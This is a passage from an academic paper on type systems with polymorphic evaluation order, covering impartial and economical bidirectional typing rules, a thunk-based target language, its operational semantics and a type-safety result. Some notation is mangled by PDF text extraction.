expressed intent.

Programmers must write annotations on expressions that are
redexes: in (λx. e) @ e2, the λ needs an annotation, because λx. e
is an introduction form in an elimination position: [ ] @ e2. In
contrast, f @ (λx. e2) needs no annotation, though the type of
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f must be derived (if indirectly) from an annotation. Recursive
functions fix u. λx. e “reduce” to their unfolding, so they also need
annotations.

Valueness. Whether an expression is a value may depend on
typing, so we put a valueness in the typing judgments: e val⇒ S (or
e val⇐ S) means that e at type S is definitely a value, while e >⇒ S
(or e >⇐ S) means that e at type S is not known to be a value. In
the style of abstract interpretation, we have a partial order v such
that val v >. Then the join ϕ1 t ϕ2 is val when ϕ1 = ϕ2 = val,
and > otherwise. g Since valueness is just a projection of ε, we
could formulate the system without it, using ε to mark judgments
as denoting values (V) or possible nonvalues (N). But that seems
prone to confusion: is N⇐ saying the expression is “by name” in
some sense?

Types and typing contexts. In Figure 3 we show the grammar for
evaluation orders ε, which are either by-value (V), by-name (N),
or an evaluation order variable a. We have the unit type 1, type
variables α, ordinary parametric polymorphism ∀α. τ, evaluation
order polymorphism Da. τ, functions τ1

ε→ τ2, products τ1 ∗ε τ2,
sums τ1 +ε τ2, and recursive types µεα. τ.

A source typing context γ consists of variable declarations
x ϕ⇒ τ denoting that x has type τ with valueness ϕ, fixed-
point variable declarations u >⇒ τ (fixed-point variables are never
values), evaluation-order variable declarations a evalorder, and type
variable declarations α type.

Impartial typing judgments. Figure 4 shows the bidirectional
rules for impartial typing. The judgment forms are γ `I e ϕ⇐
τ, meaning that e checks against τ (with valueness ϕ), and
γ `I e ϕ⇒ τ, meaning that e synthesizes type τ. The “I” on
the turnstile stands for “impartial”.

Connective-independent rules. Rules Ivar and Ifixvar simply use
assumptions stored in γ. Rule Ifix checks a fixed point fix u. e
against type τ by introducing the assumption u >⇒ τ and check-
ing e against τ; its premise has valueness ϕ because even if e is a
value, fix u. e is not (> in the conclusion).

Rule Isub says that if e synthesizes τ then e checks against τ.
For example, in the (ill-advised) fixed point expression fix u. u,
the premise of Ifix tries to check u against τ, but Ifixvar derives a
synthesis judgment, not a checking judgment; Isub bridges the gap.

Rule Ianno also mediates between synthesis and checking, in
the opposite direction: if we can check an expression e against an
annotated type τ, then (e:τ) synthesizes τ.

Introductions and eliminations. The rest of the rules are linked
to type connectives. For easy reference, the figure shows each
connective to the left of its introduction and elimination rules. We
follow the recipe of Dunfield and Pfenning (2004): introduction
rules check, and elimination rules synthesize. This recipe yields
the smallest sensible set of rules, omitting some rules that are not
absolutely necessary but can be useful in practice. For example, our
rules never synthesize a type for an unannotated pair, because the
pair is an introduction form.

Rule I+Elim follows the recipe, despite having a checking
judgment in its conclusion: the connective being eliminated, +ε,
is synthesized (in the first premise).

Functions. Rule I→Intro introduces the type τ1
ε→ τ2. Its

premise adds an assumption x valueness(ε)⇒ τ1, where valueness(ε)
is val if ε = V, and > if ε is N or is an evaluation-order variable
a. This rule thereby encompasses both variables that will be sub-
stituted with values (valueness(ε) = val) and variables that might
be substituted with non-values (valueness(ε) = >). Applying a
function of type τ1

ε→ τ2 yields something of type τ2 regardless
of ε, so I→Elim ignores ε.

Consistent with the usual definition of syntactic values, I→Intro’s
conclusion has val, while I→Elim’s conclusion has >.

In rule I→Elim, the first premise has the connective to elim-
inate, so the first premise synthesizes (τ1 +ε τ2). This provides
the type τ1, so the second premise is a checking judgment; it also
provides τ2, so the conclusion synthesizes.

Products. Rule I∗Intro types a value if and only if both e1 and
e2 are typed as values, so its conclusion has valueness ϕ1 t ϕ2.

Sums. Rule I+Introk is straightforward. In rule I+Elim, the as-
sumptions added to γ in the branches say that x1 and x2 are values
(val), because our by-name sum type is “by-name” on the outside.
This point should become more clear when we see the translation
of types into the economical system.

Recursive types. Rules IµIntro and IµElim have the same e in the
premise and conclusion, without explicit “roll” and “unroll” con-
structs. In a non-bidirectional type inference system, this would be
awkward since the expression doesn’t give direct clues about when
to apply these rules. In this bidirectional system, the type tells us to
apply IµIntro (since its conclusion is a checking judgment). Know-
ing when to apply IµElim is more subtle: we should try to apply it
whenever we need to synthesize some other type connective. For
instance, the first premise of I+Elim needs a +, so if we synthesize
a µ-type we should apply IµElim in the hope of exposing a +.

The lack of explicit [un]rolls suggests that these are not iso-
recursive but equi-recursive types (Pierce 2002, chapter 20). How-
ever, we don’t semantically equate a recursive type with its unfold-
ing, so perhaps they should be called implicitly iso-recursive.

Note that an implementation would need to check that the type
under the µ is guarded by a type connective that does have explicit
constructs, to rule out types like µεα. α, which is its own unfolding
and could make the typechecker run in circles.

Explicit type polymorphism. In contrast to recursive types, we
explicitly introduce and eliminate type polymorphism via the ex-
pressions Λα. e andM[τ]. This guarantees that a ∀ can be instan-
tiated with a type containing a particular evaluation order if and
only if such a type appears in the source program.

Principality. Suppose γ `I e1 ϕ⇒ Da. τ1 → τ2. Then, for any
ε, we can derive γ `I e1 @ e2 >⇒ [ε/a]τ2. But we can’t use
IDIntro to derive the type Da ′. [a ′/a]τ2, because e1 @ e2. The
only sense in which this expression has a principal type is if we
have an evaluation-order variable in γ that we can substitute for a.

2.3 Programming with Polymorphic Evaluation Order
Lists and streams. The impartial type system can express lists
and (potentially terminating) streams in a single declaration:

type List a α = µaβ.
(
1 +a (α ∗a β)

)
Choosing a = V yields µVβ.

(
1+V (α ∗V β)

)
, which is the type of

lists of elements α. Choosing a = N yields µNβ.
(
1 +N (α ∗N β)

)
,

which is the type of streams that may end—essentially, lazy lists.
Since evaluation order is implicit in source expressions, we can
write operations on List a α that work for lists and streams:

map : Da.∀α. (α V→ β)
V→ (List a α)

V→ (List a β)
= Λα. fixmap. λf. λxs.

case(xs, x1.inj1 (),
x2.inj2 (f @ (proj1 x2), map @ f @ (proj2 x2)))

This sugar-free syntax bristles; in an implementation with conve-
niences like pattern-matching on tuples and named constructors,
we could write
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valueness(ε) = ϕ Evaluation order ε maps to valueness ϕ valueness(V) = val
valueness(N) = >
valueness(a) = >

Γ `I e ϕ⇐ τ
Γ `I e ϕ⇒ τ

Source expression e checks against impartial type τ
Source expression e synthesizes impartial type τ

(x ϕ⇒ τ) ∈ γ
γ `I x ϕ⇒ τ

Ivar
(u >⇒ τ) ∈ γ
γ `I u >⇒ τ

Ifixvar
γ, u >⇒ τ `I e ϕ⇐ τ

γ `I (fix u. e) >⇐ τ
Ifix

γ `I e ϕ⇒ τ

γ `I e ϕ⇐ τ
Isub

γ `I e ϕ⇐ τ

γ `I (e:τ) ϕ⇒ τ
Ianno

∀ γ, α type `I e val⇐ τ

γ `I Λα. e val⇐ ∀α. τ I∀Intro
γ `I e ϕ⇒ ∀α. τ γ ` τ ′ type

γ `I e[τ ′] ϕ⇒ [τ ′/α]τ
I∀Elim 1 γ `I () val⇐ 1

I1Intro

D
γ, a evalorder `I e val⇐ τ

γ `I e val⇐ Da. τ
IDIntro

γ `I e ϕ⇒ Da. τ γ ` ε evalorder
γ `I e ϕ⇒ [ε/a]τ

IDElim

ε→ γ, (x valueness(ε)⇒ τ1) `I e ϕ⇐ τ2

γ `I (λx. e) val⇐ (τ1
ε→ τ2)

I→Intro γ `I e1 ϕ1
⇒ (τ1

ε→ τ2) γ `I e2 ϕ2
⇐ τ1

γ `I (e1 @ e2) >⇒ τ2
I→Elim

∗ε γ `I e1 ϕ1
⇐ τ1 γ `I e2 ϕ2

⇐ τ2

γ `I (e1, e2) ϕ1tϕ2
⇐ (τ1 ∗ε τ2)

I∗Intro
γ `I e ϕ⇒ (τ1 ∗ε τ2)
γ `I (projk e) >⇒ τk

I∗Elimk

+ε
γ `I e ϕ⇐ τk

γ `I (injk e) ϕ⇐ (τ1 +
ε τ2)

I+Introk
γ `I e ϕ0

⇒ (τ1 +
ε τ2)

γ, (x1 val⇒ τ1) `I e1 ϕ1
⇐ τ

γ, (x2 val⇒ τ2) `I e2 ϕ2
⇐ τ

γ `I case(e, x1.e1, x2.e2) >⇐ τ
I+Elim

µε
γ `I e ϕ⇐ [

(µεα. τ)
/
α
]
τ

γ `I e ϕ⇐ µεα. τ
IµIntro

γ `I e ϕ⇒ µεα. τ

γ `I e >⇒ [
(µεα. τ)

/
α
]
τ

IµElim

Figure 4. Impartial bidirectional typing for the source language

map f xs : Da.∀α. (α V→ β)
V→ (List a α)

V→ (List a β)
= case xs of Nil ⇒ Nil

||Cons(hd, tl) ⇒ Cons(f hd, map f tl)

Note that, except for the type, this is standard code for map.
Even this small example raises interesting questions:

• Must all the connectives in List have a? No. Putting a on either
the µ or the + and writing V on the other connectives is enough
to get stream behaviour when a is instantiated with N: the only
reason to eliminate (unroll) the µ is to eliminate (case on)
the +; marking either connective will suspend the underlying
computation. Marking both µ and + induces a suspension of
a suspension, where forcing the outer suspension immediately
forces the inner one; one of the suspensions is superfluous.
Note that marking only ∗ with a, that is, µVβ.

(
1 +V (α ∗a β)

)
,

yields an “odd” data structure (Wadler et al. 1998), one that
is not entirely lazy: we know immediately—without forcing a
thunk—which injection we have (i.e. whether we have Nil or
Cons).
• What evaluation orders should we use in the type of map? We

used by-value ( V→), but we could use the same evaluation order
as the list: Da. ∀α. (α a→ β)

a→ (List a α)
a→ (List a β).

This essentially gives “ML-ish” behaviour when a = V, and
“Haskell-ish” behaviour when a = N. The type system, how-
ever, permits other variants—even the outlandishly generic

Da1, a2, a3, a4, a5.∀α.(α
a1→ β)

a2→ (List a3 α)
a4→ (List a5 β)

We leave deeper investigation of these questions to future work:
our purpose, in this paper, is to develop the type systems that make
such questions matter.

Variations in being odd and even. The Standard ML type of
“streams in odd style” (Wadler et al. 1998, Fig. 1), given by

datatype α stream = Nil | Cons of α * α stream susp

where α stream susp is the type of a thunk that yields an α
stream, can be represented as the impartial type µVβ.

(
1 +V

(α ∗V (µNγ. β))
)
. Note the slightly awkward (µNγ. β), in which

γ doesn’t occur; we can’t simply write µNβ. on the outside, be-
cause that would suspend the entire sum. (In the economical type
system in Section 3, it’s easy to put the suspension in either po-
sition.) This type differs subtly from another “odd” stream type,
µVβ.

(
1 +V (α ∗a β)

)
, which corresponds to the SML type

datatype α stream = Nil | Cons of (α * α stream) susp

Here, the contents α are under the suspension; given a value of this
type, we immediately know whether we have Nil or Cons, but we
must force a thunk to see what the value is, which will also reveal
whether the tail is Nil or Cons.

We can also encode “streams in even style” (Wadler et al. 1998,
Fig. 2): The SML declarations

datatype α stream_ = Nil_ | Cons_ of α * α stream
withtype α stream = α stream_ susp

correspond to µNβ.
(
1 +V (α ∗V β))

)
, with the N on µ playing the

role of the withtype declaration.
Wadler et al. (1998) note that “streams in odd style” can be

encoded with ease in SML, while “streams in even style” can be
encoded with difficulty (see their Figure 2). In the impartial type
system, both encodings are straightforward, and we would only
need to write one (polymorphic) version of each of their functions
over streams.
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Source values v ::= () | λx. e | (v1, v2) | injk v

By-value eval. contexts CV ::= [ ]
| CV @ e2 | v1 @ CV
| (CV, e2) | (v1, CV) | projk CV
| injk CV | case(CV, x1.e1, x2.e2)

By-name eval. contexts CN ::= [ ]
| CN @ e2 | e1 @ CN
| (CN, e2) | (e1 , CN) | projk CN
| injk CN | case(CN, x1.e1, x2.e2)

e e ′ Source expression e steps to e ′

e RV e
′

CV[e] CV[e ′]
SrcStepCtxV

e RN e
′

CN[e] CN[e ′]
SrcStepCtxN

e RV e
′

e RN e
′
e reduces to e ′ by value
e reduces to e ′ by name

(λx. e1) @ v2  RV [v2/x]e1 βVreduce
(λx. e1) @ e2  RN [e2/x]e1 βNreduce

(fix u. e)  RV

[
(fix u. e)

/
u
]
e fixVreduce

(fix u. e)  RN

[
(fix u. e)

/
u
]
e fixNreduce

projk (v1, v2)  RV vk projVreduce
projk (e1, e2)  RN ek projNreduce
case(injk v, x1.e1, x2.e2)  RV [v/xk]ek caseVreduce
case(injk e, x1.e1, x2.e2)  RN [e/xk]ek caseNreduce

Figure 5. Source reduction

er(e) = e ′ Source expression e erases to e ′

er(Λα. e) = er(e)
er(e[S]) = er(e)

er((e:S)) = er(e)

er(()) = ()
er(x) = x

er(e1 @ e2) = er(e1) @ er(e2)
etc.

Figure 6. Erasing types from source expressions

Binary trees. As with lists, we can define evaluation-order-
polymorphic trees:

type Tree a α = µaβ.
(
1 +V (α ∗V β ∗V β)

)
Here, only µ is polymorphic in a, to suppress redundant thunks.

2.4 Operational Semantics for the Source Language
A source expression takes a step if a subterm in evaluation posi-
tion can be reduced. We want to model by-value computation and
by-name computation, so we define the source stepping relation 
usings two notions of evaluation position and two notions of reduc-
tion. A by-value evaluation context CV is an expression with a hole
[ ], where CV[e] is the expression with e in place of the [ ]. If e re-
duces by value to e ′, written e  RV e

′, then CV[e]  CV[e ′]. For
example, if e2  RV e

′
2 then v1 @ e2  v1 @ e ′2, because v1 @ [ ]

is a by-value evaluation context.
Dually, CN[e]  CN[e ′] if e  RN e

′. Every by-value context
is a by-name context, and every pair related by RV is also related
by RN, but the converses do not hold. For instance, e1 @ [ ] is a
CN but not a CV, and proj2 (e1, e2) RN e2, but proj2 (e1, e2)
reduces by value only when e1 and e2 are values.

Values, by-value evaluation contexts CV, by-name evaluation
contexts CN, and the relations  ,  RV and  RN are defined in

Figure 5. The definitions of v, CV and  RV, taken together, are
standard for call-by-value; the definitions of CN and RN are stan-
dard for call-by-name. The peculiarity is that can behave either
by value (rule SrcStepCtxV) or by name (rule SrcStepCtxN).

We assume that the expressions being reduced have been erased
(Figure 6), so we omit a rule for reducing annotations. Alternatives
are discussed in Section 6.1.

2.5 Value Restriction
Our calculus excludes effects such as mutable references; however,
to allow it to serve as a basis for larger languages, we impose a
value restriction on certain introduction rules. Without this restric-
tion, the system would be unsound in the presence of mutable ref-
erences. Following Wright (1995), the rule I∀Intro requires that its
subject be a value, as in Standard ML (Milner et al. 1997). A sim-
ilar value restriction is needed for intersection types (Davies and
Pfenning 2000). The following example shows the need for the re-
striction on D:

let r : ref (Da. τ
a→ τ) = ref f in

r := g; h(!r)

Assume we have f : Da. τ
a→τ and g : τ

N→ τ and h : (τ
V→τ) V→ τ.

By a version of IDIntro that doesn’t require its subject to be a
value, we have r : Da. ref (τ a→ τ). By IDElim with N for a, we
have r : ref (τ N→ τ), making the assignment r := g well-typed.
However, by IDElim with V for a, we have r : ref (τ V→ τ). It
follows that the dereference !r has type τ V→ τ, so !r can be passed
to h. But !r = g is actually call-by-name. If h = λx. x(e2), we
should be able to assume that e2 will be evaluated exactly once, but
x = g is call-by-name, violating this assumption.

If we think of D as an intersection type, so that r has type
(τ

V→ τ) ∧ (τ
N→ τ), the example and argument closely fol-

low Davies and Pfenning (2000) and, in turn, Wright (1995). (For
union types, a similar problem arises, which can be solved by a
dual solution—restricting the union-elimination rule to evaluation
contexts (Dunfield and Pfenning 2003).)

2.6 Subtyping and η-Expansion
Systems with intersection types often include subtyping. The
strength of subtyping in intersection type systems varies, from
syntactic approaches that emphasize simplicity (e.g. Dunfield and
Pfenning (2003)) to semantic approaches that emphasize com-
pleteness (e.g. Frisch et al. (2002)). Generally, subtyping—at
minimum—allows intersections to be transparently eliminated
even at higher rank (that is, to the left of an arrow), so that the
following function application is well-typed:

f :
(
(τ1 ∧ τ

′
1) → τ2

) → τ3, g : (τ1 → τ2) ` f g : τ3

Through a subsumption rule, g : (τ1 → τ2) checks against type
(τ1 ∧ τ

′
1) → τ2, because a function that accepts all values of type

τ1 should also accept all values that have type τ1 and type τ ′1.
Using the analogy between intersection and D, in our impartial

type system, we might expect to derive

f :
(
(Da. τ1

a→τ1) V→τ2) V→ τ3, g : (τ1
N→τ1) V→ τ2 ` f g : τ3

Here, f asks for a function of type
(
Da. τ1

a→τ1) V→ τ2
)
, which

works on all evaluation orders; but g’s type (τ1
N→ τ1)

V→ τ2 says
that g calls its argument only by name.

For simplicity, this paper excludes subtyping: our type system
does not permit this derivation. But it would be possible to define a
subtyping system, and incorporate subtyping into the subsumption
rule Isub—either by treating D similarly to ∀ (Dunfield and Krish-
naswami 2013), or by treating D as an intersection type (Dunfield
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and Pfenning 2003). A simple subtyping system could be derived
from the typing rules that are stationary—where the premises type
the same expression as the conclusion (Leivant 1986). For example,
IDElim corresponds to

Γ ` ε evalorder
Γ ` (Da. τ) ≤ [ε/a]τ

≤D-LEFT

Alternatively, η-expansion can substitute for subtyping: even with-
out subtyping and a subsumption rule, we can derive

f :
(
(Da. τ1

a→τ1) → τ2
) → τ3,

g : (τ1
N→ τ1) → τ2 ` f (λx. g x) : τ3

This idea, developed by Barendregt et al. (1983), can be automated;
see, for example, Dunfield (2014).

3. Economical Type System

bτc = S Impartial type τ translates to economical type S

b1c = 1
bτ1

ε→ τ2c =
(
εIbτ1c

) → bτ2c
bτ1 +ε τ2c = εI (bτ1c + bτ2c)
bτ1 ∗ε τ2c =

(
εIbτ1c

)
∗
(
εIbτ2c

)
bDa. τc = Da. bτc
bµεα. τc = µα. εIbτc
b∀α. τc = ∀α. bτc
bαc = α

bγc = Γ Impartial context γ translates to economical context Γ

b·c = ·
bγ, α typec = bγc, α type
bγ, u >⇒ τc = bγc, u : bτc

bγ, a evalorderc = bγc, a evalorder
bγ, x val⇒ τc = bγc, x : VIbτc
bγ, x >⇒ τc = bγc, x : NIbτc

bec = e ′ Expression e with τ-annotations
translates to expression e ′ with S-annotations

b(e:τ)c = (bec:bτc)
be[τ]c = bec[bτc]

be1 @ e2c = be1c @ be2c
etc.

Figure 7. Type translation into the economical language

The impartial type system directly generalizes a call-by-value
system and a call-by-name system, but the profusion of connectives
is unwieldy, and impartiality doesn’t fit a standard operational se-
mantics. Instead of elaborating the impartial system into our target
language, we pause to develop an economical type system whose
standard connectives (→, ∗, +, µ) are by-value, but with a sus-
pension point εIS to provide by-name behaviour. This intermedi-
ate system yields a straightforward elaboration. It also constitutes
an alternative source language that, while biased towards call-by-
value, conveniently allows call-by-name and evaluation-order poly-
morphism.

In the grammar in Figure 8, the economical types S are obtained
from the impartial types τ by dropping all the ε decorations and
adding a connective εIS (read “ε suspend S”). When ε is V, this
connective is a no-op: elaborating e at type VIS and at type S yield
the same term. But when ε is N, elaborating e at type NIS is like
elaborating e at type 1 → S.

In economical typing contexts Γ , variables x denote values, so
we replace the assumption form x ϕ⇒ τ with x : S. Similarly, we
replace u >⇒ τ with u : S.

Dropping ε decorations means that—apart from the valueness
annotations—most of the economical rules in Figure 8 look fairly
standard. The only new rules are for suspension points εI, halfway
down Figure 8. It would be nice to have only two rules (an introduc-
tion and an elimination), but we need to track whether e is a value,

which depends on the ε in εIS: if we introduce the type NIS, then
e will be elaborated to a thunk, which is a value; if we are eliminat-
ing NIS, the elaboration of e will have the form force · · · , which
(like function application) is not a value.

3.1 Translating to Economical Types
To relate economical types to impartial types, we define a type
translation bτc = S that inserts suspension points (Figure 7). Given
an impartially-typed source program e of type τ, we can show that
bec has the economical type bτc (Theorem 1).

Some parts of the translation are straightforward. Functions
τ1

ε→ τ2 are translated to (εIbτ1c) → bτ2c because when ε = N,
we get the expected type (NIbτ1c) → bτ2c of a call-by-name
function.

We are less constrained in how to translate other connectives:

• We could translate τ1+ε τ2 to (εIbτ1c)+(εIbτ2c). But then
1 +N 1—presumably intended as a non-strict boolean type—
would be translated to (NI1) + (NI1), which exposes which
injection was used (whether the boolean is true or false) without
forcing the (spurious) thunk around the unit value. Thus, we
instead place the thunk around the entire sum, so that 1 +N 1
translates to NI(1 + 1).
• We could translate τ1 ∗ε τ2 to εI(bτ1c ∗ bτ2c)—which corre-

sponds to how we decided to translate sum types. Instead, we
translate it to (εIbτ1c) ∗ (εIbτ2c), so that, when ε = N, we
get a pair of thunks; accessing one component of the pair (by
forcing its thunk) won’t cause the other component to be forced.
• Finally, in translating µεα. τ, we could put a suspension on

each occurrence of α in τ, rather than a single suspension on
the outside of τ. Since τ is often a sum type, writing +ε already
puts a thunk on τ; we don’t need a thunk around a thunk. But
by the same token, suspensions around the occurrences of α can
also lead to double thunks: translating the type of lazy natural
numbers µNα. (1+Nα) would give µα.

(
NI(1+NIα)

)
, which

expands to NI
(
1 + NINI(1 + . . . )

)
.

The rationales for our translation of products and recursive types
are less clear than the rationale for sum types; it’s possible that
different encodings would be preferred in practice.

The above translation does allow programmers to use the alter-
native encodings, though awkwardly. For example, a two-thunk
variant of τ1 ∗ε τ2 can be obtained by writing (µεβ. τ1) ∗V
(µεβ. τ2), where β doesn’t occur; the only purpose of µ here is to
insert a suspension. (This suggests a kind of ill-founded argument
for our chosen translation of µ: it enables us to insert suspensions,
albeit awkwardly.)

3.2 Programming with Economical Types
We can translate the list/stream example from Section 2.3 to the
economical system:

type List a α = µβ. aI
(
1 + (α ∗ β)

)
The body of map is the same; only the type annotation is different.
map : Da.∀α. (α→ β) → (List a α) → (List a β)
= Λα. fixmap. λf. λxs.

case(xs, x1.inj1 (),
x2.inj2 (f @ (proj1 x2), map @ f @ (proj2 x2)))

The above type for map corresponds to the impartial type with V→.
At the end of Section 2.3, we gave a very generic type for map,
which we can translate to the economical system:
Da1, a2, a3, a4, a5.

∀α.
(
a2I

(
(a1Iα) → β

)) → (
a4I(List a3 α)

) → (List a5 β)
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Economical types S ::= 1 | α | ∀α. S | Da. S | εIS
| S1 → S2 | S1 ∗ S2 | S1 + S2 | µα. S

Econ. typing contexts Γ ::= · | Γ, x : S | Γ, u : S | Γ, a evalorder | Γ, α type
Econ. source expressions e ::= . . . | Λα. e | e[S] | (e:S)

Γ `E e ϕ⇐ S
Γ `E e ϕ⇒ S

Source expression e checks against economical type S
Source expression e synthesizes economical type S

(x : S) ∈ Γ
Γ `E x val⇒ S

Evar
(u : S) ∈ Γ
Γ `E u >⇒ S

Efixvar
Γ, u : S `E e ϕ⇐ S

Γ `E (fix u. e) >⇐ S
Efix

Γ `E e ϕ⇒ S

Γ `E e ϕ⇐ S
Esub

Γ `E e ϕ⇐ S

Γ `E (e:S) ϕ⇒ S
Eanno

∀ Γ, α type `E e val⇐ S

Γ `E Λα. e val⇐ ∀α. S E∀Intro
Γ `E e ϕ⇒ ∀α. S Γ ` S ′ type

Γ `E e[S ′] ϕ⇒ [S ′/α]S
E∀Elim 1 Γ `E () val⇐ 1

E1Intro

D
Γ, a evalorder `E e val⇐ S

Γ `E e val⇐ Da. S
EDIntro

Γ `E e ϕ⇒ Da. S Γ ` ε evalorder
Γ `E e ϕ⇒ [ε/a]S

EDElim

εI
Γ `E e ϕ⇐ S

Γ `E e ϕ⇐ εIS
Γ `E e val⇐ NIS

EIIntro Γ `E e ϕ⇒ VIS

Γ `E e ϕ⇒ S
EIElimV

Γ `E e ϕ⇒ εIS

Γ `E e >⇒ S
EIElimε

→ Γ, x : S1 `E e ϕ⇐ S2

Γ `E (λx. e) val⇐ (S1 → S2)
E→Intro

Γ `E e1 ϕ1
⇒ (S1 → S2) Γ `E e2 ϕ2

⇐ S1

Γ `E (e1 @ e2) >⇒ S2
E→Elim

∗ Γ `E e1 ϕ1
⇐ S1 Γ `E e2 ϕ2

⇐ S2

Γ `E (e1, e2) ϕ1tϕ2
⇐ (S1 ∗ S2)

E∗Intro
Γ `E e ϕ⇒ (S1 ∗ S2)
Γ `E (projk e) >⇒ Sk

E∗Elimk

+
Γ `E e ϕ⇐ Sk

Γ `E (injk e) ϕ⇐ (S1 + S2)
E+Introk

Γ `E e ϕ0
⇒ (S1 + S2)

Γ, x1 : S1 `E e1 ϕ1
⇐ S

Γ, x2 : S2 `E e2 ϕ2
⇐ S

Γ `E case(e, x1.e1, x2.e2) >⇐ S
E+Elim

µ
Γ `E e ϕ⇐ [

(µα. S)
/
α
]
S

Γ `E e ϕ⇐ µα. S
EµIntro

Γ `E e ϕ⇒ µα. S

Γ `E e >⇒ [
(µα. S)

/
α
]
S

EµElim

Figure 8. Economical bidirectional typing

This type might not look economical, but makes redundant suspen-
sions more evident: List a3 α is µ· · ·. a3I · · · , so the suspension
controlled by a4 is never useful, showing that a4 is unnecessary.

3.3 Economizing
The main result of this section is that impartial typing deriva-
tions can be transformed into economical typing derivations. The
proof (Dunfield 2015, Appendix B.3) relies on a lemma that con-
verts typing assumptions with VIS ′ to assumptions with S ′.
Theorem 1 (Economizing).

(1) If γ `I e ϕ⇒ τ then bγc `E bec ϕ⇒ bτc.
(2) If γ `I e ϕ⇐ τ then bγc `E bec ϕ⇐ bτc.
4. Target Language
Our target language (Figure 9) has by-value →, ∗, + and µ connec-
tives, ∀, and a U connective (for thunks).

The ∀ connective has explicit introduction and elimination
forms Λ__. M and M[__]. This “type-free” style is a compromise
between having no explicit forms for ∀ and having explicit forms
that contain types (Λα. M and A[M]). Having no explicit forms
would complicate some proofs; including the types would mean
that target terms contain types, giving a misleading impression that
operational behaviour is influenced by types.

The target language also has an explicit introduction form
rollM and elimination form unrollM for µ types.

As with ∀, we distinguish thunks to simplify some proofs:
Source expressions typed with the NI connective are elaborated
to thunkM, rather than to a λ with an unused bound variable.

Target terms M ::= () | x | λx.M |M1M2

| u | fix u. M | Λ__. M |M[__]
| thunkM | forceM
| (M1,M2) | projkM
| injkM | case(M, x1.M1, x2.M2)
| rollM | unrollM

Values W ::= () | x | λx.M | Λ__. M
| thunkM | (W1,W2)
| injkW | rollW

Valuables Ṽ ::= () | x | λx.M | Λ__. Ṽ | Ṽ[__]
| thunkM | (Ṽ1, Ṽ2)
| projk Ṽ | injk Ṽ | roll Ṽ | unroll Ṽ

Eval. contexts C ::= [ ] | C @M2 |W1 @ C | C[__] | force C
| (C,M2) | (W1, C) | projk C
| injk C | case(C, x1.M1, x2.M2)
| roll C | unroll C

Target types A,B ::= 1 | α | ∀α. A | A1 → A2 | U A1
| A1 ∗A2 | A1 +A2 | µα.A

Typing contexts G ::= · | G, x : A | G,α type

Figure 9. Syntax of the target language

Dually, eliminating NI results in a target term forceM, rather than
toM().

4.1 Typing Rules
Figure 10 shows the typing rules for our target language. These are
standard except for the T∀Intro rule and the rules for thunks:
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G `T M : A
Target termM
has target type A G `T () : 1

T1Intro

(x : A) ∈ G
G `T x : A

Tvar
(u : A) ∈ G
G `T u : A

Tfixvar
G,u : A `T e : A

G `T (fix u. e) : A
Tfix

∀ G,α type `T Ṽ : A

G `T Λ__. Ṽ : ∀α. A
T∀Intro

G `T M : ∀α. A
G ` A ′ type

G `T M[__] : [A ′/α]A
T∀Elim

→ G, x : A `T M : B

G `T (λx.M) : A→B T→Intro

G `T M1 : A→ B
G `T M2 : A

G `T (M1M2) : B
T→Elim

U G `T M : B

G `T thunkM : U B
TUIntro

G `T M1 : U B
G `T forceM1 : B

TUElim

∗
G `T M1 : A1
G `T M2 : A2

G `T (M1,M2) :A1∗A2
T∗Intro

G `T M : A1∗A2
G `T projkM : Ak

T∗Elimk

+
G `T M : Ak

G `T injkM : A1+A2
T+Introk G `T M : A1+A2

G, x1:A1 `T M1 : A
G, x2:A2 `T M2 : A

G `T case(M, x1.M1, x2.M2) : A
T+Elim

µ
G `T M : [µα.A/α]A

G `T rollM : µα.A
TµIntro

G `T M : µα.A

G `T unrollM : [µα.A/α]A
TµElim

Figure 10. Target language type system

Valuability restriction. Though we omit mutable references from
the target language, we want the type system to accommodate
them. Using the standard syntactic value restriction (Wright 1995)
would spoil this language as a target for our elaboration: when
source typing uses elab∀Intro, it requires that the source expression
be a value (not syntactically, but according to the source typing
derivation). Yet if that source value is typed using elabDElim, it
will elaborate to a projection, which is not a syntactic value. So we
use a valuability restriction in T∀Intro. A target term is a valuable
Ṽ if it is a value (e.g. λx.M) or is a projection, injection, roll or
unroll of something that is valuable (Figure 9). Later, we’ll prove
that if a source expression is a value (according to the source typing
derivation), its elaboration is valuable (Lemma 6).

Thunks. We give thunkM the type U B for “thUnk B” (if M
has type B); forceM eliminates this connective.

4.2 Operational Semantics
The target operational semantics has two relations: M 7→R M ′,
read “M reduces to M ′”, and M 7→ M ′, read “M steps to
M ′”. The latter has only one rule, StepContext, which says that
C[M] 7→ C[M ′] if M 7→R M

′, where C is an evaluation context
(Figure 9). The rules for 7→R (Figure 11) reduce a λ applied to
a value; a force of a thunk; a fixed point; a type application; a
projection of a pair of values; a case over an injected value; and
an unroll of a rolled value. Apart from force (thunkM), which we
can view as strange syntax for (λx.M)(), this is all standard: these
definitions use valuesW, not valuables Ṽ .

4.3 Type Safety
Lemma 2 (Valuability). If Ṽ 7→ M ′ or Ṽ 7→R M ′ then M ′ is
valuable, that is, there exists Ṽ ′ =M ′.
Lemma 3 (Substitution). If G, x : A ′, G ′ `T M : A and G `T W :
A ′ then G,G ′ `T [W/x]M : A.

M 7→M ′ Target termM steps (by-value) to target termM ′

M 7→R M
′

C[M] 7→ C[M ′] StepContext
M 7→R M

′ Target redexM reduces (by-value) toM ′

(λx.M) @W 7→R [W/x]M βReduce
force (thunkM) 7→R M forceReduce

(fix u. M) 7→R
[
(fix u. M)

/
u
]
M fixReduce

(Λ__. M)[__] 7→R M tyappReduce
projk ((W1,W2)) 7→R Wk projReduce

case(injkW, x1.M1, x2.M2) 7→R [W/xk]Mk caseReduce
unroll (rollW) 7→R W unrollReduce

Figure 11. Target language operational semantics

|S| = A Economical type S elaborates to target type A

|1| = 1
|S1 → S2| = |S1| → |S2|
|S1 + S2| = |S1| + |S2|

|α| = α
|∀α. S| = ∀α. |S|

|VIS| = |S|
|NIS| = U |S|

|Da. S| = |[V/a]S| ∗ |[N/a]S|
|µα. S| = µα. |S|

|Γ | = G
Economical typing context Γ

elaborates to target typing context G

|·| = ·
|Γ, α type| = |Γ |, α type

|Γ, a evalorder| undefined

|Γ, x : S| = |Γ |, x : |S|
|Γ, u : S| = |Γ |, u : |S|

Figure 12. Translation from economical types to target types

Theorem 4 (Type safety). If · `T M : A then eitherM is a value,
orM 7→M ′ and G `T M

′ : A.

Proof. By induction on the derivation of G `T M : A, using
Lemma 3 and standard inversion lemmas, which we omit.

5. Elaboration
Now we extend the economical typing judgment with an output
M, a target term: Γ ` e ϕ: S ↪→M. The target term M should be
